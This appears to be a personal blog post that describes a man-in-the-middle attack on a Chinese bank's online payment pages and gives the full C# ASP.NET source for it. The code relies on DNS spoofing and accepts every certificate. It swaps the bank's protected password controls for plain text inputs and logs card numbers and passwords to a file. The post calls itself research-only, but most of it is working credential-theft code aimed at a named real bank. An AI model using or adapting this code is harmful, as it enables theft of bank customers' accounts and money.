这种技术可以用来盗取银行帐号,慎用,慎用,笔者的主要目的是技术!!!!!!!!不要用来干违法的事情!!!!!!
As a matter of fact, I should write this article three years ago. However, considering the poor condition of Chinese Electronic Commerce at that time (No CA certification or client verificaiton!) , I did not want to publicize my idea and module, even though it was quite a simple model. At that time, there was a tool called dsniff which could sniff the data transmitted through SSL through MITM or man in the middle attack. However, it can not or at least, do no have the function of changing the data encrypted by SSL. And at that time, the password transmitted in SSL was also encrypted through another way, which was called 'Dual Encrpytion'. If you can just sniff the data transferred in SSL, it was obviously not enough! So I started my own way of building a model through which I can get the password, EVEN THOUGH IT IS JUST FOR RESEARCH PURPOSE, NOT FOR STEALING SOMEONE'S PASSWORD! AND I NEVER USE THIS SOFTWARE TO DO ILLEGAL THINGS.
Now, thank godness, the Chinese Electronic Commerce has already improve their security technology and adapt client verification as well. So, I can publish this EXPIRED attack model for research or study use only.
The whole idea behind this attacking model, is a MITM attack. And let me explain it in detail.
First, the Client (A) (who will input its username and password) want to connect to the (B) Bank server. However, because of DNS Spoofing, the Client thought that our host(C) is the Bank server.
A <=====> B ----> A <====> C <====> B
Previous Now
C establish a SSL connection with A using its own X.509 Certificate ( Although on the A's browser, an alert will pop up and notify the user the Certificate may not be authorized or expired. However, if the User use IE, we could disable this function if we use some tricks).
A send its Request to fetch the form on which A will input its username and password. C decrypt this request using its own private key and build another connection with B, then C send the same request encrypted by B's public key.
B response this request, and C get this response and decrypt it. If it is GZIP compression, decompress it. Replace the important HTML tags, such as plug-ins for encryption of password, with similar outlooking stuff, for example, <INPUT TYPE = "password" ........./> and decorated with CSS. Meanwhile, C change disable the client-side cache by setting the HTTP header. Then, C reencrypt this response with its own certificate and send it back to A.
A will fill the forms and send to C and C can get A's information and record the account number and password. Then B will send a error message to A , for example HTTP 500 Internal Error. And disable the DNS Spoofing. Then, A will reload the form, and everything goes as the same way as it should in normal transactions.
A problem is, how can we build this 'C'. For my own convenience, I just used HTTP Handler, which is ASP.NET technique and is quite similar with ISAPI or Java Servlet. Although, I know it is not convienient, because we can only use it on Windows 2003 server. But I was too busy at that time, and I have to spend my spare time with my previous girlfriend :(
Anyway, it seems that the previous girlfriend was more important than building Programming model, isn't it? :D
OK, and the following the dirty source code, but I hope it will just demonstrate some brief idea of this model :D
using System;
using System.Web;
using System.Security;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Net;
using ICSharpCode.SharpZipLib.GZip;
using ICSharpCode;
using System.IO;
using System.Text.RegularExpressions;
namespace MyTestHttpModule
{
public class AcceptAllCertificatePolicy : System.Net.ICertificatePolicy
{
#region ICertificatePolicy 成员
public bool CheckValidationResult(ServicePoint srvPoint, System.Security.Cryptography.X509Certificates.X509Certificate certificate, WebRequest request, int certificateProblem)
{
// TODO: 添加 AcceptAllCertificatePolicy.CheckValidationResult 实现
return true;
}
#endregion
}
public class MyHttpHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
HttpRequest Request = context.Request;
HttpResponse Response = context.Response;
System.Net.ServicePointManager.CertificatePolicy = new AcceptAllCertificatePolicy();
//System.Net.ServicePointManager.Expect100Continue = false;
//Response.Write(c.Replace("/xD/xA","<BR>"));
//string target = @"218.17.246.162";
//string target = @"bbs.hdpu.edu.cn";
string target = @"www.bj.cmbchina.com";
string targetSite = "";
if (Request.IsSecureConnection)
{
targetSite = @"https://" + target;
//System.Random randNum = new System.Random();
//Request.SaveAs("c://hotmail" +randNum.Next(1,100000).ToString() + ".txt",true);
}
else
targetSite = @"http://" + target;
System.Net.HttpWebRequest httpRequest = (HttpWebRequest)HttpWebRequest.Create(targetSite + context.Request.RawUrl);
string completerequest = targetSite + context.Request.RawUrl ;
string requesturlwithoutquerystring = null;
string action = null;
bool sniffflag = false;
bool changeComtoText = false;
bool IsGetPassword = false;
int firstQuestionmark = -1;
int secondQuestionmark = -1;
if (completerequest.IndexOf('?') > 0)
{
firstQuestionmark = completerequest.IndexOf('?');
requesturlwithoutquerystring = completerequest.Substring(0,firstQuestionmark);
}
if (requesturlwithoutquerystring == "https://www.bj.cmbchina.com/netpayment/BaseHttp.dll")
{
secondQuestionmark = completerequest.IndexOf ('?',firstQuestionmark + 1);
if (secondQuestionmark >= 0)
action = completerequest.Substring (
firstQuestionmark + 1,
secondQuestionmark - firstQuestionmark -1);
else
action = completerequest.Substring(firstQuestionmark + 1,completerequest.Length - firstQuestionmark-1);
}
if (action == "PrePayC1")
{
changeComtoText = true;
}
if (action == "DoPayProc")
{
IsGetPassword = true;
}
//将密码保存到文件里
/*
if (IsGetPassword)
{
string CardNumber = Request["CardNo"];
string CardPwd = Request["Pwd"];
LogFile.WriteToLog("CardNumber:" + CardNumber + "/tPassword:" + CardPwd);
string RequestInfo = Request["objinfo"];
CMBHTMLCONTROLLib.PBEditClass editorCardNo = new CMBHTMLCONTROLLib.PBEditClass();
CMBHTMLCONTROLLib.PBEditClass editorPwd = new CMBHTMLCONTROLLib.PBEditClass();
editorCardNo.PasswdCtrl = 0;
editorCardNo.Info = RequestInfo;
editorPwd.PasswdCtrl = 1;
opt ="#1#https://www.bj.cmbchina.com/netpayment/BaseHttp.dll?GetInfo?data=" + Request["BranchID"] + "," + Request["CoNo"] + "," + Request["Date"] + "," + Request["BillNo"] + "," + Request["Amount"];
editorCardNo.Option(opt);
}
*/
LogFile.WriteToLog("Request:" + completerequest);
System.Web.HttpCookieCollection httpcookies = Request.Cookies;
System.Net.CookieCollection cookies = new CookieCollection();
for ( int i = 0 ; i < httpcookies.Count ; i ++)
{
//cookies.Add(new System.Net.Cookie(cookie.Name,cookie.Value,cookie.Path,cookie.Domain));
cookies.Add(new System.Net.Cookie(httpcookies[i].Name,httpcookies[i].Value));
}
httpRequest.CookieContainer = new CookieContainer();
httpRequest.CookieContainer.Add(new System.Uri(targetSite + context.Request.RawUrl),cookies);
//System.Net.HttpWebRequest httpRequest = (HttpWebRequest)HttpWebRequest.Create("http://www.163.com");
httpRequest.AllowAutoRedirect = true;
int t = context.Request.Headers.Count;
for(int i = 0;i<t;i++)
{
string tempstr = context.Request.Headers.GetKey(i) + ":" + context.Request.Headers[i] ;
try
{
if (context.Request.Headers[i].IndexOf("localhost") > -1)
httpRequest.Headers.Add(context.Request.Headers.GetKey(i),context.Request.Headers[i].Replace("localhost",target));
}
catch
{
continue;
}
//Response.Write(tempstr + "<BR>");
}
httpRequest.Accept = context.Request.Headers["Accept"];
httpRequest.Method = context.Request.HttpMethod;
httpRequest.AllowAutoRedirect = true;
httpRequest.UserAgent = context.Request.UserAgent;
httpRequest.KeepAlive = false;
httpRequest.ContentType = context.Request.ContentType;
httpRequest.Expect = context.Request.Headers["ExpectHTTP"];
if (context.Request.Headers["Referer"] != null)
{
httpRequest.Referer = context.Request.Headers["Referer"];
}
httpRequest.TransferEncoding = context.Request.Headers["Transfer-encodingHTTP"];
//Response.Write("-----------new request -------------<BR>");
t = httpRequest.Headers.Count;
if (context.Request.HttpMethod == "POST")
{
if (!IsGetPassword)
{
httpRequest.ContentLength = context.Request.ContentLength;
System.IO.BinaryWriter postSW = new System.IO.BinaryWriter (httpRequest.GetRequestStream());
System.IO.BinaryReader postSR = new BinaryReader(context.Request.InputStream);
int pt1=0;
int readed1=0;
byte[] postbuffer = new byte[255];
while((readed1 = postSR.Read(postbuffer,0,255)) > 0)
{
postSW.Write(postbuffer,0,readed1);
postSW.Flush();
pt1 += readed1;
}
postSW.Close();
postSR.Close();
}
else
{
System.IO.StreamReader postrw = new StreamReader(context.Request.InputStream);
string postfiles = postrw.ReadToEnd();
string CardNumber = Request["CardNo"];
string CardPwd = Request["Pwd"];
string RequestInfo = Request["objinfo"];
LogFile.WriteToLog("**************CardNumber:" + CardNumber + "/tPassword:" + CardPwd);
LogFile.WriteToLog("Old Post Received:" + postfiles);
CMBHTMLCONTROLLib.PBEditClass t1CardNo = new CMBHTMLCONTROLLib.PBEditClass();
CMBHTMLCONTROLLib.PBEditClass t1Pwd = new CMBHTMLCONTROLLib.PBEditClass();
t1CardNo.Text = CardNumber;
t1Pwd.Text = CardPwd;
t1CardNo.PasswdCtrl = 0;
t1CardNo.Info = RequestInfo;
t1Pwd.PasswdCtrl = 1;
string opt ="#1#https://www.bj.cmbchina.com/netpayment/BaseHttp.dll?GetInfo?data=" + Request["BranchID"] + "," + Request["CoNo"] + "," + Request["Date"] + "," + Request["BillNo"] + "," + Request["Amount"];
t1CardNo.Option(opt);
postfiles.Replace(CardNumber,t1CardNo.Value);
postfiles.Replace(CardPwd,t1Pwd.Value);
LogFile.WriteToLog("CardNumber:" +CardNumber + "-->" + t1CardNo.Value);
LogFile.WriteToLog("Password:"+ CardPwd + "-->" + t1Pwd.Value);
//Regenerate a post content
postfiles = null;
postfiles = postfiles + "BranchID=" + Request["BranchID"] + "&";
postfiles = postfiles + "CoNo=" + Request["CoNo"] + "&";
postfiles = postfiles + "BillNo=" + Request["BillNo"] + "&";
postfiles = postfiles + "Amount=" + Request["Amount"] + "&";
postfiles = postfiles + "Date=" + Request["Date"] + "&";
postfiles = postfiles + "CmdNo=" + Request["CmdNo"] + "&";
postfiles = postfiles + "MerchantUrl=" + Request["MerchantUrl"] + "&";
postfiles = postfiles + "CardNo=" + t1CardNo.Value + "&";
postfiles = postfiles + "Pwd=" + t1Pwd.Value + "&";
postfiles = postfiles + "objinfo=" + t1CardNo.Info;
LogFile.WriteToLog("New Post Generated:" + postfiles);
httpRequest.ContentLength = System.Text.Encoding.Default.GetByteCount(postfiles);
System.IO.BinaryWriter postbw = new BinaryWriter(httpRequest.GetRequestStream());
postbw.Write(System.Text.Encoding.Default.GetBytes(postfiles));
postrw.Close();
postbw.Close();
LogFile.WriteToLog("New Post Generated:" + postfiles);
}
}
System.Net.HttpWebResponse httpResponse;
try
{
httpResponse = (HttpWebResponse)httpRequest.GetResponse();
}
catch(WebException wex)
{
httpResponse = (HttpWebResponse)wex.Response;
}
/*
System.Net.CookieCollection responsecookies = httpResponse.Cookies;
foreach (System.Net.Cookie responsecookie in responsecookies)
{
Response.Cookies.Add(new System.Web.HttpCookie(responsecookie.Name,responsecookie.Value));
}
*/
System.IO.Stream httpResponseStream = httpResponse.GetResponseStream();
byte[] httpResponseBuffer = new byte[655350];
int pt = 0;
int readed = 0;
//Response.Write("Here-----------");
//--Read the httpResponse to buffer
string headerAccept = httpResponse.Headers.Get("Accept-Encoding");
bool isGZIPEncoded = false;
if (headerAccept != null && headerAccept.IndexOf("gzip") > 0)
isGZIPEncoded = true;
if (isGZIPEncoded)
{
GZipInputStream decodeStream = new GZipInputStream(httpResponseStream);
while ((readed = decodeStream.Read(httpResponseBuffer,pt,255))>0)
pt += readed;
decodeStream.Close();
}
else
{
System.IO.BinaryReader httpResponseBR = new System.IO.BinaryReader(httpResponseStream);
while((readed = httpResponseBR.Read(httpResponseBuffer,pt,255)) > 0)
pt += readed;
}
t = httpResponse.Headers.Count ;
for (int i =0;i<t;i++)
{
Response.AppendHeader(httpResponse.Headers.GetKey(i),httpResponse.Headers[i]);
}
//Response.Cache.SetNoStore();
//---- Example of Change Text
//-- you can look up the content-type
string oristring = System.Text.Encoding.Default.GetString(httpResponseBuffer,0,pt);
if (changeComtoText == true)
{
string deststring = null;
//Get info to fill the node "objInfo"
Regex theRegEx = new Regex(@"tf1.t1CardNo.Info=(?<info>(/d)+)");
MatchCollection collection = theRegEx.Matches(oristring);
string objInfo = null;
foreach (Match match in collection)
{
objInfo = match.Groups["info"].ToString();
}
string[] src_replacement = new string[]{
"<OBJECT ID=/"t1CardNo/" height=24 width=95 MaxLength=10 classid=/"clsid:0CA54D3F-CEAE-48AF-9A2B-31909CB9515D/" codebase=/'https://www.sz1.cmbchina.com/download/CMBEdit.cab#version=1,1,0,0/'></OBJECT>",
"<OBJECT ID=/"t1Pwd/" height=24 width=95 CLASSID=/"CLSID:0CA54D3F-CEAE-48AF-9A2B-31909CB9515D/" codebase=/'https://www.sz1.cmbchina.com/download/CMBEdit.cab#version=1,1,0,0/'></OBJECT>",
"<input type=hidden name=objinfo>",
"tf1.t1CardNo.Option(opt)",
"formCredit.objinfo.value = tf1.t1CardNo.Info",
"formCard.objinfo.value = tf1.t1CardNo.Info",
"tf1.t1CardNo.Info=" + objInfo,
"tf1.t1CardNo.PasswdCtrl=false",
"tf1.t1CardNo.object.MaxLength=10",
"tf1.t1Pwd.object.MaxLength=6",
"οnlοad=/'tf1.t1Pwd.PasswdCtrl=true/'"
};
string[] dst_replacement = new string[]{
"<INPUT TYPE = /"TEXT/" ID = /"t1CardNo/" height = 24 width = 95 MaxLength = 10>",
"<INPUT TYPE = /"TEXT/" ID = /"t1Pwd/" height = 24 width = 95>",
"<input type=hidden name=objinfo value = /"" + objInfo +"/">",
"",
"",
"",
"",
"",
"",
"",
""
};
for (int j = 0 ; j < src_replacement.Length ;j ++)
{
if (oristring.IndexOf(src_replacement[j]) > 0)
{
oristring = oristring.Replace(src_replacement[j],dst_replacement[j]);
}
}
deststring = oristring;
pt = System.Text.Encoding.Default.GetByteCount(deststring);
httpResponseBuffer = new byte[pt];
System.Text.Encoding.Default.GetBytes(deststring).CopyTo(httpResponseBuffer,0);
}
//Example of Decode
//GZipInputStream decodeStream = new GZipInputStream(
Response.Cache.SetNoStore();
Response.StatusCode = (int)httpResponse.StatusCode;
if (isGZIPEncoded)
{
System.IO.BinaryWriter outBw = new BinaryWriter (new GZipOutputStream(Response.OutputStream));
outBw.Write(httpResponseBuffer,0,pt);
outBw.Close();
}
else
{
System.IO.BinaryWriter outBw = new BinaryWriter(Response.OutputStream);
outBw.Write(httpResponseBuffer,0,pt);
outBw.Flush();
outBw.Close();
}
}
public bool IsReusable
{
// To enable pooling, return true here.
// This keeps the handler in memory.
get { return true; }
}
}
public class LogFile
{
public static void WriteToLog(string abc)
{
System.IO.FileInfo logfile = new FileInfo("c://logfile.txt");
System.IO.TextWriter writer = logfile.AppendText();
writer.WriteLine(DateTime.Now.ToString());
writer.WriteLine(abc);
writer.Close();
}
}
}
It is really a dirty programming!!!!!!!!!! But you know, my previous girlfriend always asked me to go shopping with her, that why I have no time working on restructing this app. I am really sorry for that. But if you think it would be good to improve this programme, just feel free to tell me :D
I think that is all about this model, and if you have any problems or any suggestions, feel free to email me: lovelyxinxin1983@hotmail.com :D I really hope it will help anyone with their MITM, BUT PLEASE DO NOT USE IT IN ILLEGAL WAYS!!